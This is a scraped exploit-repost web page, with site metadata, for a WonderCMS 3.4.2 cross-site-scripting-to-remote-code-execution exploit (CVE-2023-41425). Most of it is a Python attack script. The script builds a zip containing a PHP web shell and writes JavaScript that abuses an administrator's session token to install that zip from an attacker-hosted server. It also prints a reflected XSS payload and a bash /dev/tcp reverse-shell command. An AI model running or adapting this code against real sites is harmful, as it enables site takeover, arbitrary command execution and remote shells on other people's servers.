\n# Exploit Title: WonderCMS v3.4.2 XSS to RCE
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL
# MiRROR-H: https:\/\/mirror-h.org\/search\/hacker\/49626\/
# CVE: CVE-2023-41425<\/p>\n
import requests
import argparse
from argparse import RawTextHelpFormatter
import os
import subprocess
import zipfile
from termcolor import colored<\/p>\n
def main():
parser = argparse.ArgumentParser(description=”Exploit Wonder CMS v3.4.2
XSS to RCE”, formatter_class=RawTextHelpFormatter)
parser.add_argument(“–url”, required=True, help=”Target URL of
loginURL (Example: http:\/\/sea.htb\/loginURL)”)
parser.add_argument(“–xip”, required=True, help=”IP for HTTP web
server that hosts the malicious .js file”)
parser.add_argument(“–xport”, required=True, help=”Port for HTTP web
server that hosts the malicious .js file”)
args = parser.parse_args()<\/p>\n
target_login_url = args.url
target_split = args.url.split(‘\/’)
target_url = target_split[0] + ‘\/\/’ + target_split[2]<\/p>\n
# Web Shell
print(“[+] Creating PHP Web Shell”)
if not os.path.exists(‘malicious’):
os.mkdir(‘malicious’)
with open (‘malicious\/malicious.php’, ‘w’) as f:
f.write(‘‘)
with zipfile.ZipFile(‘.\/malicious.zip’, ‘w’) as z:
z.write(‘malicious\/malicious.php’)
os.remove(‘malicious\/malicious.php’)
os.rmdir(‘malicious’)
else:
print(colored(“[!] Directory malicious already exists!”, ‘yellow’))<\/p>\n
# Malicious .js
js = f”’var token =
document.querySelectorAll(‘[name=”token”]’)[0].value;
var module_url =
“{target_url}\/?installModule=http:\/\/{args.xip}:{args.xport}\/malicious.zip&directoryName=pwned&type=themes&token=”
+ token;
var xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open(“GET”, module_url);
xhr.send();”’<\/p>\n
print(“[+] Writing malicious.js”)
with open(‘malicious.js’, ‘w’) as f:
f.write(js)<\/p>\n
xss_payload = args.url.replace(“loginURL”,
“index.php?page=loginURL?”)+”\\”><\/form>\n
“+args.xip+”:”+args.xport+”\/malicious.js\\”><\/script> print(“[+] XSS Payload:”)
print(colored(f”{xss_payload}”, ‘red’))<\/p>\n
print(“[+] Web Shell can be accessed once .zip file has been
requested:”)<\/p>\n
print(colored(f”{target_url}\/themes\/malicious\/malicious.php?cmd=“,
‘red’))
print(“[+] To get a reverse shell connection run the following:”)
print(colored(f”curl -s ‘{target_url}\/themes\/malicious\/malicious.php’
–get –data-urlencode \\”cmd=bash -c ‘bash -i >& \/dev\/tcp\/\/
0>&1’\\” “, ‘yellow’))<\/p>\n print(“[+] Starting HTTP server”)
subprocess.run([“python3”, “-m”, “http.server”, “-b”, args.xip,
args.xport])<\/p>\n
if __name__ == “__main__”:
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title WonderCMS 3.4.2 Cross Site Scripting \/ Code Execution Exploit ID PACKETSTORM:190575 Type packetstorm Published 2025-04-21T00:00:00 Modified 2025-04-21T00:00:00 CVSS Information…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,21,13,53,7,11,5],"class_list":["post-1162","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
WonderCMS 3.4.2 Cross Site Scripting \/ Code Execution - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=1162\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"WonderCMS 3.4.2 Cross Site Scripting \/ Code Execution - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title WonderCMS 3.4.2 Cross Site Scripting \/ Code Execution Exploit ID PACKETSTORM:190575 Type packetstorm Published 2025-04-21T00:00:00 Modified 2025-04-21T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=1162\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T06:16:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1162#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1162\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"WonderCMS 3.4.2 Cross Site Scripting \\\/ Code Execution\",\"datePublished\":\"2025-04-23T06:16:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1162\"},\"wordCount\":331,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.1\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=1162#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1162\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1162\",\"name\":\"WonderCMS 3.4.2 Cross Site Scripting \\\/ Code Execution - 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